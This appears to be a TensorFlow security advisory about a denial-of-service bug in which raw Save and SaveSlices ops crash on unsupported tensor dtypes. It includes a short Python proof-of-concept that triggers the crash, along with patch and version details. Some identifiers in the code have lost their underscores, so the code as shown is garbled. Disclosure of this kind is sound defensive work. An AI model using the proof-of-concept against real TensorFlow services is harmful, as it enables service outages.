Impact

If Save or SaveSlices is run over tensors of an unsupported dtype, it results in a CHECK fail that can be used to trigger a denial of service attack.
python
import tensorflow as tf
filename = tf.constant("")
tensor names = tf.constant("")
# Save
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=-2021), tf.uint64)
tf.raw ops.Save(filename=filename, tensor names=tensor names, data=data, )
# SaveSlices
shapes and slices = tf.constant("")
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=9712), tf.uint32)
tf.raw ops.SaveSlices(filename=filename, tensor names=tensor names, shapes and slices=shapes and slices, data=data, )

Patches

We have patched the issue in GitHub commit 5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
